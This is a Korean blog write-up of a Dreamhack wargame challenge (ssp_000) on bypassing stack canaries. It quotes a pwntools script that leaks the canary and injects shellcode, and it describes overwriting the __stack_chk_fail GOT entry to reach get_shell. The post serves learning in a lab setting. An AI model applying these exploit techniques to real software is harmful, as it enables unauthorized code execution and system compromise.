오래 못 할 짓 하지 않기

[ 워게임 ] 41. Pwnable 32 : ssp_000 본문

보안_모의해킹/CTF (Capture The Flag)

[ 워게임 ] 41. Pwnable 32 : ssp_000

쫑알bot 2025. 2. 14. 23:15
728x90

 

우선 ssp란 stack smasing protector 라는 뜻으로

stack에 canary라는 랜덤값을 추가하여, 스택에 공격이 들어왔을 때 해당 값까지 더럽혀진다면

비정상적인 경로로 들어왔다는 것을 감지하여 BOF 공격으로 판단한다.

 

따라서, 우리가 이런 조건 하에 BOF 공격을 하기 위해서는?

1) Canary값을 알아낸다.

2) BOF 공격을 하는 중에 Canary 위치에 그 값을 올려두고 지나간다

   = BOF 공격으로 인식 못 함

 


* 그림을 잘못그렸다. 먼저 선언된 것들이 위에 있음.

초록색 변수들은 순서가 반대다.

 

이런 형태로 되어있다.

우린 buf를 채울 때 canary random값이 변하지 않게

오른쪽과 같이 잘 덮어 씌우면 된다.

 

우리가 알고있어야 하는 내용은

Canary의 시작은 NULL이라는 것이다.

 

우리가 이 시작 NULL을 다른 것으로 덮으면

그 위치를 레고 접합부분처럼 앞에 OverFlow시킨 내용과 합쳐진다.

(크기 80만큼 읽으니까)

 

 

 

▼드림핵 강의 정보

더보기

 

카나리 시작이 NULL인 걸 이용한다.

카나리의 시작 =NULL을 , name의 마무리 문자열로 사용하는 것이다.

 

 

 

shellcraft.sh() 는 shell 코드를 만들어주는 명령어라고 한다.

 

sh.ljust(buf2cnry,b'A')는 sh로 만들어진 shell 코드를 buf2cnry 크기에 맞게 왼쪽 정렬을 해주고,

빈칸은 b'A'로 채우겠다는 의미이다. 

 

뭐 물론 이건 우리가 가야 하는 함수가 딱히 없을 때 shell을 따는 거고

옮기고 싶은 함수가 있을 땐 buf를 그냥 채우고 return address에 그 주소를 넣으면 될 것 같다. 

 

#!/usr/bin/env python3
# Name: r2s.py
from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = process('./r2s')

context.arch = 'amd64'

# [1] Get information about buf
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)
slog('Address of buf', buf)

p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2cnry)

# [2] Leak canary value
payload = b'A'*(buf2cnry + 1) # (+1) because of the first null-byte

p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary', cnry)

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
# gets() receives input until '\n' is received
p.sendlineafter(b'Input:', payload)

p.interactive()

 


 

이 문제의 핵심은 Canary의 첫 문자가 NULL인 걸 이용하여 

Canary 값을 알아낼 수 있느냐인 것 같다.

 

 

get_shell()의 주소 : 00000000004008EA

 

이렇게 하면 될 거라고 계속 만들어봤는데

생각해보니 canary값을 따올 수 있는 방법이 없다. 

 

쉽지않다.


여기에서 40번째 줄을 보면

addr의 주소를 value 의 주소로 바꿀 수 있다.

 

 

생각해보니 꼭 canary를 맞추지 않아도 된다.

canary가 조작되었을 때 보내지는 주소를 get_shell로 바꾸면 되지 않나?

 

___stack_chk_fail의 주소 : 0x4006D0 

 

get_shell()의 주소 : 0x4008EA

 

그럼 우리가 할 건 3개다.

 

1) canary 값이 조작된 걸 감지하게 만들어서 stack_chk_fail 호출

2) addr에 stack_chk_fail 주소

3) value에 get_shell 주소

 

이렇게 하면 addr 의 주소가 get_shell로 덮인다.

 

이렇게 하면 될 것 같았는데

일단 주소가 문제일 수도 있으니 한 번 제대로 파일을 가져와서 해보자..

 

 

 

된다.

주소가 정확하지가 않았나보다..서운하네


오답노트

 

1. 공격 방법을 다른 쪽으로 생각했다.

Canary값을 어떻게든 맞춰야지! 생각했는데, 분명 그 방법도 가능했겠지만 내가 할 수 있는 선에서는 그것보다는 

addr , value로 덮어씌우는 게 더 적합한 것 같다.

 

 

2. 그냥 주소를 넣으려고 했다.

확실하게 주소를 가져올 수 있는 ELF 관련 명령어가 아니라 내가 메모리에서 보고 옮겨오려고 함.

지금까진 잘 됐는데, 사실 이게 가장 정확하긴 하다.

 

3. 비슷한 함수 이름이 하나 더 있다..

막대기 하나 차이로 함수가 두 개 있었다.

extern 두 개가 있었다.

위에 놈만 주구장창 가져오고 있었는데 아래 애가 필요했다.